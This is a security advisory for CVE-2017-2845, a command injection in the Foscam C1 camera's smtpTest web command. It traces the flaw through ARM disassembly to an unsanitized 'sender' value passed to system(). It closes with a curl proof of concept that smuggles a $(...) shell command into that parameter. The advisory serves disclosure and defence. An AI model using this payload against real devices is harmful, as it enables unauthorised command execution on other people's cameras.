CVE-2017-2845
An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during the SMTP configuration tests resulting in command execution. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.
When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle
function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init
function of the “CGIProxy.fcgi” service using the following code:
.text:00009F20 FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410
.text:00009F28 08 D0 4D E2 SUB SP, SP, #8
.text:00009F2C 05 FC FF EB BL FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2 SUBS R1, R0, #0
.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A BNE leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1 MOV R2, R1
.text:00009F44 1A FC FF EB BL FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3 CMP R0, #0
.text:00009F4C 03 00 00 0A BEQ loc_9F60
...
.text:00009F60 loc_9F60
.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4
.text:00009AD4 registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code
.text:00009AE0 04 00 A0 E1 MOV R0, R4
.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function
.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1 MOV R0, R4
.text:00009AF0 24 10 9F E5 LDR R1, =0x3001
.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1 MOV R0, R4
.text:00009B00 18 10 9F E5 LDR R1, =0x3002
.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}
.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
After the “CGIProxy.fcgi” service decodes an http request that’s forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg
. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1 MOV R1, R8
.text:00009FB0 07 00 A0 E1 MOV R0, R7
.text:00009FB4 34 FC FF EB BL strcpy ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1 MOV R0, R8
.text:00009FBC C0 FB FF EB BL strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5 LDR R3, =0x404
.text:00009FC4 00 30 8D E5 STR R3, [SP]
.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]
.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request
.text:00009FD0 01 20 A0 E3 MOV R2, #1
.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]
.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]
.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]
.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
The handler for code 0x4001 is in the “webService” binary and is done by the function executeCGICmd
at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that’s responsible for extracting the user name, password, and command that was specified within the user’s query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr
. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand
at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp
and then the function call at [9] will execute the function pointer.
.text:0001E5A4 executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1 MOV R8, R0
.text:0001E5B4 06 10 A0 E1 MOV R1, R6
.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]
.text:00028EAC sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0
.text:00028EB4 00 80 A0 E1 MOV R8, R0
.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118
.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A BEQ leaving_290F4
...
.text:00028F4C 00 00 50 E3 CMP R0, #0
.text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88
...
.text:00028F88 findCmdCallback_28F88
.text:00028F88 05 00 A0 E1 MOV R0, R5
.text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7]
.text:00028F94 00 90 50 E2 SUBS R9, R0, #0
.text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8
...
.text:00028FB8 checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF
.text:00028FC0 08 10 93 E5 LDR R1, [R3,#8]
.text:00028FC4 02 00 51 E1 CMP R1, R2
.text:00028FC8 06 00 00 1A BNE authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1 MOV R0, R4
.text:00028FDC 33 FF 2F E1 BLX R3 ; [8]
.text:00028FE0 09 00 A0 E1 MOV R0, R9
.text:00028FE4 42 00 00 EA B leaving_290F4
...
.text:000290E0 04 00 A0 E1 MOV R0, R4
.text:000290E4 33 FF 2F E1 BLX R3 ; [9]
.text:000290E8 05 00 A0 E1 MOV R0, R5
.text:000290EC 00 00 00 EA B leaving_290F4
...
.text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118
.text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC}
When handling the “CGIProxy.fcgi” command “smtpTest”, the function smtpTest_239bc
will be called. This function is responsible for testing the parameters to be used for sending e-mails. The function extracts the parameters for “smtpServer”, “port”, “isNeedAuth”, “tls”, “user”, “password”, “sender” and forwards them via IPC by calling CMsgClient::sendMsg
, using the code 0x6069 at [10]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:0002B9BC smtpTest_239bc
.text:0002B9BC
.text:0002B9BC 30 40 2D E9 STMFD SP!, {R4,R5,LR}
.text:0002B9C0 DC 30 9F E5 LDR R3, =0xAE9
.text:0002B9C4 7B DF 4D E2 SUB SP, SP, #0x1EC
.text:0002B9C8 00 30 8D E5 STR R3, [SP,#0x1F8+var_1F8]
.text:0002B9CC D4 30 9F E5 LDR R3, =str.CGICommand_smtpTest
...
.text:0002BA00 B0 10 9F E5 LDR R1, =str.smtpServer
.text:0002BA04 00 00 83 E5 STR R0, [R3]
.text:0002BA08 04 00 A0 E1 MOV R0, R4
.text:0002BA0C 0D F2 FF EB BL extract_param
...
.text:0002BA18 9C 10 9F E5 LDR R1, =str.port
.text:0002BA1C 09 F2 FF EB BL extract_param
...
.text:0002BA28 90 10 9F E5 LDR R1, =str.isNeedAuth
.text:0002BA2C 05 F2 FF EB BL extract_param
...
.text:0002BA38 84 10 9F E5 LDR R1, =str.tls
.text:0002BA3C 01 F2 FF EB BL extract_param
...
.text:0002BA48 78 10 9F E5 LDR R1, =str.user
.text:0002BA4C FD F1 FF EB BL extract_param
..
.text:0002BA58 6C 10 9F E5 LDR R1, =str.password
.text:0002BA5C F9 F1 FF EB BL extract_param
...
.text:0002BA68 60 10 9F E5 LDR R1, =str.sender
.text:0002BA6C F5 F1 FF EB BL extract_param
...
.text:0002BA88 44 10 9F E5 LDR R1, =0x6069 ; [10]
...
.text:0002BA94 3C 00 9F E5 LDR R0, =dword_9FC90 ; this
.text:0002BA98 EF 9B FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
.text:0002BA9C 7B DF 8D E2 ADD SP, SP, #0x1EC
.text:0002BAA0 30 80 BD E8 LDMFD SP!, {R4,R5,PC}
The handler for code 0x6069 is in the “devMng” binary and is done by the function OnDevMngMsgSmtpMailTest_d9e4
at address 0x159e4. This function extracts the product model of the camera and replies to the message with this information. The reply is handled back in the “webService” binary by the function OnWebServiceMsgSmtpMailTestReply_e474
at address 0x16474. This function parses the numeric function arguments ([11] “port”, “isNeedAuth”, etc.) and calls testSmtpServer_52cf0
.
.text:00016474 OnWebServiceMsgSmtpMailTestReply_e474
.text:00016474
.text:00016474 000 F0 47 2D E9 STMFD SP!, {R4-R10,LR}
...
.text:000164E0 4D0 E8 00 85 E2 ADD R0, R5, #0xE8 ; nptr
.text:000164E4 4D0 8D F3 FF EB BL atoi ; [11]
...
.text:00016504 4D0 01 3C 85 E2 ADD R3, R5, #0x100
.text:00016508 4D0 0C 30 8D E5 STR R3, [SP,#0x4B0+var_4A4]
.text:0001650C 4D0 05 3D 85 E2 ADD R3, R5, #0x140
.text:00016510 4D0 10 30 8D E5 STR R3, [SP,#0x4B0+var_4A0]
.text:00016514 4D0 06 1D 85 E2 ADD R1, R5, #0x180
.text:00016518 4D0 68 30 85 E2 ADD R3, R5, #0x68
.text:0001651C 4D0 08 20 A0 E1 MOV R2, R8
.text:00016520 4D0 00 06 8D E8 STMEA SP, {R9,R10}
.text:00016524 4D0 14 70 8D E5 STR R7, [SP,#0x4B0+var_49C]
.text:00016528 4D0 4A 5E 8D E2 ADD R5, SP, #0x4B0+var_10
.text:0001652C 4D0 08 50 85 E2 ADD R5, R5, #8
.text:00016530 4D0 08 00 8D E5 STR R0, [SP,#0x4B0+var_4A8]
.text:00016534 4D0 88 00 9F E5 LDR R0, =dword_A4D68
.text:00016538 4D0 EC 11 01 EB BL testSmtpServer_52cf0
The function testSmtpServer_52cf0
receives 9 parameters: “C1” (the product model), “smtpServer”, “sender”, “port”, “isNeedAuth”, “tls”, “user”, “password” and a pointer to a 128 bytes stack variable. First the function checks if the parameters are non-null, then parses the SMTP server [12], creates the subject of the mail using sprintf
[13] and calls sendSmtpTestMail_51f6c
[14].
.text:0005ACF0 testSmtpServer_52cf0
.text:0005ACF0
.text:0005ACF0 F0 4F 2D E9 STMFD SP!, {R4-R11,LR}
.text:0005ACFC 00 70 52 E2 SUBS R7, R2, #0 ; [12]
...
.text:0005AE00 loc_5AE00
.text:0005AE00 67 5E 8D E2 ADD R5, SP, #0x710+s
.text:0005AE04 63 AE 8D E2 ADD R10, SP, #0x710+var_E0
.text:0005AE08 05 00 A0 E1 MOV R0, R5
.text:0005AE0C 00 10 A0 E3 MOV R1, #0
.text:0005AE10 40 20 A0 E3 MOV R2, #0x40
.text:0005AE14 33 E0 FE EB BL memset
.text:0005AE18 0A 00 A0 E1 MOV R0, R10
.text:0005AE1C 00 10 A0 E3 MOV R1, #0
.text:0005AE20 40 20 A0 E3 MOV R2, #0x40
.text:0005AE24 2F E0 FE EB BL memset
.text:0005AE28 0A 20 A0 E1 MOV R2, R10
.text:0005AE2C 05 30 A0 E1 MOV R3, R5
.text:0005AE30 8C 12 9F E5 LDR R1, =str.az___AZ_09_s ; "%[a-z,_,A-Z,0-9].%s"
.text:0005AE34 07 00 A0 E1 MOV R0, R7
.text:0005AE38 C4 DF FE EB BL sscanf ; [12]
...
.text:0005AFD8 loc_5AFD8
.text:0005AFD8 10 11 9F E5 LDR R1, =str.IPCameraSMTPtestmail ; "%s:IPCamera SMTP test mail"
.text:0005AFDC 0B 20 A0 E1 MOV R2, R11
.text:0005AFE0 05 00 A0 E1 MOV R0, R5
.text:0005AFE4 19 E0 FE EB BL sprintf ; [13]
.text:0005AFE8 00 30 A0 E3 MOV R3, #0
.text:0005AFEC 00 30 8D E5 STR R3, [SP,#0x710+var_710]
.text:0005AFF0 04 30 8D E5 STR R3, [SP,#0x710+var_70C]
.text:0005AFF4 10 37 9D E5 LDR R3, [SP,#0x710+port]
.text:0005AFF8 14 30 8D E5 STR R3, [SP,#0x710+var_6FC]
.text:0005AFFC 14 37 9D E5 LDR R3, [SP,#0x710+isNeedAuth]
.text:0005B000 18 30 8D E5 STR R3, [SP,#0x710+var_6F8]
.text:0005B004 18 37 9D E5 LDR R3, [SP,#0x710+tls]
.text:0005B008 1C 30 8D E5 STR R3, [SP,#0x710+var_6F4]
.text:0005B00C 20 37 9D E5 LDR R3, [SP,#0x710+password]
.text:0005B010 24 30 8D E5 STR R3, [SP,#0x710+var_6EC]
.text:0005B014 14 30 A0 E3 MOV R3, #0x14
.text:0005B018 2C 30 8D E5 STR R3, [SP,#0x710+var_6E4]
.text:0005B01C 08 00 A0 E1 MOV R0, R8
.text:0005B020 05 10 A0 E1 MOV R1, R5
.text:0005B024 C8 20 9F E5 LDR R2, =str.body ; "This is a test mail sent by your IPCamera"
.text:0005B028 74 30 9F E5 LDR R3, =unk_8D28B
.text:0005B02C 08 40 8D E5 STR R4, [SP,#0x710+var_708]
.text:0005B030 0C 40 8D E5 STR R4, [SP,#0x710+var_704]
.text:0005B034 10 70 8D E5 STR R7, [SP,#0x710+src]
.text:0005B038 20 90 8D E5 STR R9, [SP,#0x710+var_6F0]
.text:0005B03C 28 60 8D E5 STR R6, [SP,#0x710+var_6E8]
.text:0005B040 C9 FB FF EB BL sendSmtpTestMail_51f6c ; [14]
This function takes care of checking again that the parameters are valid by comparing them with null. Then it proceeds to copying the SMTP username and password in local variables [15] [16], and extracting at most 4 recipients from the comma-separated list provided from the user using the “sender” parameter [17]. Note that extract_recipients
also allows “;” and “ “ as separators. Parameters are then collected and passed to the function smtpTestConfigure
[18].
.text:00059F6C sendSmtpTestMail_51f6c
.text:00059F6C
.text:00059F6C F0 4F 2D E9 STMFD SP!, {R4-R11,LR}
...
.text:0005A0F0 00 00 52 E3 CMP R2, #0
.text:0005A0F4 18 10 94 05 LDREQ R1, [R4,#0x18]
.text:0005A0F8 C0 1A 9D 15 LDRNE R1, [SP,#0xAA0+src]
.text:0005A0FC 1D E5 FE EB BL strcpy ; [15]
.text:0005A100 C4 3A 9D E5 LDR R3, [SP,#0xAA0+arg_24]
.text:0005A104 9B 0E 8D E2 ADD R0, SP, #0xAA0+dest
.text:0005A108 00 00 53 E3 CMP R3, #0
.text:0005A10C 1C 10 94 05 LDREQ R1, [R4,#0x1C]
.text:0005A110 C4 1A 9D 15 LDRNE R1, [SP,#0xAA0+arg_24]
.text:0005A114 17 E5 FE EB BL strcpy ; [16]
...
.text:0005A280 0A 10 A0 E1 MOV R1, R10
.text:0005A284 07 20 A0 E1 MOV R2, R7
.text:0005A288 04 00 A0 E1 MOV R0, R4
.text:0005A28C DD FA FF EB BL extract_recipients ; [17]
.text:0005A290 08 20 A0 E1 MOV R2, R8
.text:0005A294 00 10 A0 E1 MOV R1, R0
.text:0005A298 04 00 A0 E1 MOV R0, R4
.text:0005A29C D9 FA FF EB BL extract_recipients ; [17]
.text:0005A2A0 09 20 A0 E1 MOV R2, R9
.text:0005A2A4 00 10 A0 E1 MOV R1, R0
.text:0005A2A8 04 00 A0 E1 MOV R0, R4
.text:0005A2AC D5 FA FF EB BL extract_recipients ; [17]
.text:0005A2B0 0B 20 A0 E1 MOV R2, R11
.text:0005A2B4 00 10 A0 E1 MOV R1, R0
.text:0005A2B8 04 00 A0 E1 MOV R0, R4
.text:0005A2BC D1 FA FF EB BL extract_recipients ; [17]
...
.text:0005A404 18 30 9D E5 LDR R3, [SP,#0xAA0+var_A88]
.text:0005A408 00 30 8D E5 STR R3, [SP,#0xAA0+var_AA0]
.text:0005A40C 9F 3E 8D E2 ADD R3, SP, #0xAA0+s
.text:0005A410 04 30 8D E5 STR R3, [SP,#0xAA0+var_A9C]
.text:0005A414 9B 3E 8D E2 ADD R3, SP, #0xAA0+dest
.text:0005A418 CC 2A 9D E5 LDR R2, [SP,#0xAA0+arg_2C]
.text:0005A41C 08 30 8D E5 STR R3, [SP,#0xAA0+var_A98]
.text:0005A420 7B 3E 8D E2 ADD R3, SP, #0xAA0+var_2F0
.text:0005A424 A3 1E 8D E2 ADD R1, SP, #0xAA0+var_70
.text:0005A428 0C 30 8D E5 STR R3, [SP,#0xAA0+var_A94]
.text:0005A42C 10 20 8D E5 STR R2, [SP,#0xAA0+var_A90]
.text:0005A430 1C 30 9D E5 LDR R3, [SP,#0xAA0+var_A84]
.text:0005A434 20 20 9D E5 LDR R2, [SP,#0xAA0+var_A80]
.text:0005A438 04 00 A0 E1 MOV R0, R4
.text:0005A43C 6D FB FF EB BL smtpTestConfigure ; [18]
smtpTestConfigure takes care of creating “msmtprc” configuration file and populates it with the user-supplied parameters. The execution continues with encoding the mail subject [19], preparing a “/tmp/.mail” file containing the mail contents [20], concatenating the previously extracted recipients and removing any old “/tmp/.msmtp.log” log file [21]. A command string is then built using sprintf [23], resulting in “cat /tmp/.mail |
msmtp mailaddr &” where “mailaddr” is the user-supplied “sender” parameter [22], which was not previously sanitized. The resulting string is then passed as an argument to system at [24]. |
...
.text:0005A480 A7 0E 8D E2 ADD R0, SP, #0xAA0+var_30
.text:0005A484 3C E3 FE EB BL CBase64Codec::Encode(uchar const*,int) ; [19]
...
.text:0005A4BC 14 16 9F E5 LDR R1, =str._UTF8_B_s_ ; "=?UTF-8?B?%s?="
.text:0005A4C0 74 2A 9D E5 LDR R2, [SP,#0xAA0+var_2C]
.text:0005A4C4 07 00 A0 E1 MOV R0, R7
.text:0005A4C8 E0 E2 FE EB BL sprintf ; [19]
.text:0005A4CC 28 30 9D E5 LDR R3, [SP,#0xAA0+var_A78]
.text:0005A4D0 04 30 8D E5 STR R3, [SP,#0xAA0+var_A9C]
.text:0005A4D4 A0 3A 9D E5 LDR R3, [SP,#0xAA0+arg_0]
.text:0005A4D8 2C 20 9D E5 LDR R2, [SP,#0xAA0+var_A74]
.text:0005A4DC 0C 30 8D E5 STR R3, [SP,#0xAA0+var_A94]
.text:0005A4E0 A4 3A 9D E5 LDR R3, [SP,#0xAA0+arg_4]
.text:0005A4E4 08 20 8D E5 STR R2, [SP,#0xAA0+var_A98]
.text:0005A4E8 10 30 8D E5 STR R3, [SP,#0xAA0+var_A90]
.text:0005A4EC 04 00 A0 E1 MOV R0, R4
.text:0005A4F0 E4 15 9F E5 LDR R1, =str.ipcamera ; "IPCamera"
.text:0005A4F4 7B 2E 8D E2 ADD R2, SP, #0xAA0+var_2F0
.text:0005A4F8 63 3E 8D E2 ADD R3, SP, #0xAA0+var_470
.text:0005A4FC 00 70 8D E5 STR R7, [SP,#0xAA0+var_AA0]
.text:0005A500 DA FC FF EB BL generateSnapPicEmail__51870 ; [20]
...
.text:0005A620 D0 04 9F E5 LDR R0, =str._tmp__msmtp_log ; "/tmp/.msmtp.log"
.text:0005A624 37 E0 FE EB BL remove ; [21]
.text:0005A628 06 00 A0 E1 MOV R0, R6
.text:0005A62C F3 E2 FE EB BL pthread_mutex_unlock
.text:0005A630 73 4E 8D E2 ADD R4, SP, #0xAA0+var_370
.text:0005A634 BC 04 9F E5 LDR R0, =str._tmp__msmtp_log ; "/tmp/.msmtp.log"
.text:0005A638 32 E0 FE EB BL remove ; [21]
.text:0005A63C 04 00 A0 E1 MOV R0, R4
.text:0005A640 B4 14 9F E5 LDR R1, =str.catsmsmtps ; "cat %s | msmtp %s &"
.text:0005A644 B4 24 9F E5 LDR R2, =str.tmp__mail ; "/tmp/.mail"
.text:0005A648 63 3E 8D E2 ADD R3, SP, #0xAA0+var_470 ; [22]
.text:0005A64C 7F E2 FE EB BL sprintf ; [23]
.text:0005A650 04 00 A0 E1 MOV R0, R4
.text:0005A654 BC DF FE EB BL system ; [24]
This vulnerability is reachable by the “smtpTest” command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.
```
$ sUsr="admin"
$ sPwd=""
$ sCmd=`perl -MURI::Escape -e 'print uri_escape("\\$(echo y>/tmp/www/injected.txt)")'`
$ curl -m2 "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=smtpTest&smtpServer=dummy&port=dummy&user=test&password=test&sender=${sCmd}"
```
2017-05-25 - Vendor Disclosure
2017-06-19 - Public Release
Discovered by Cory Duplantis and Claudio Bozzato of Cisco Talos.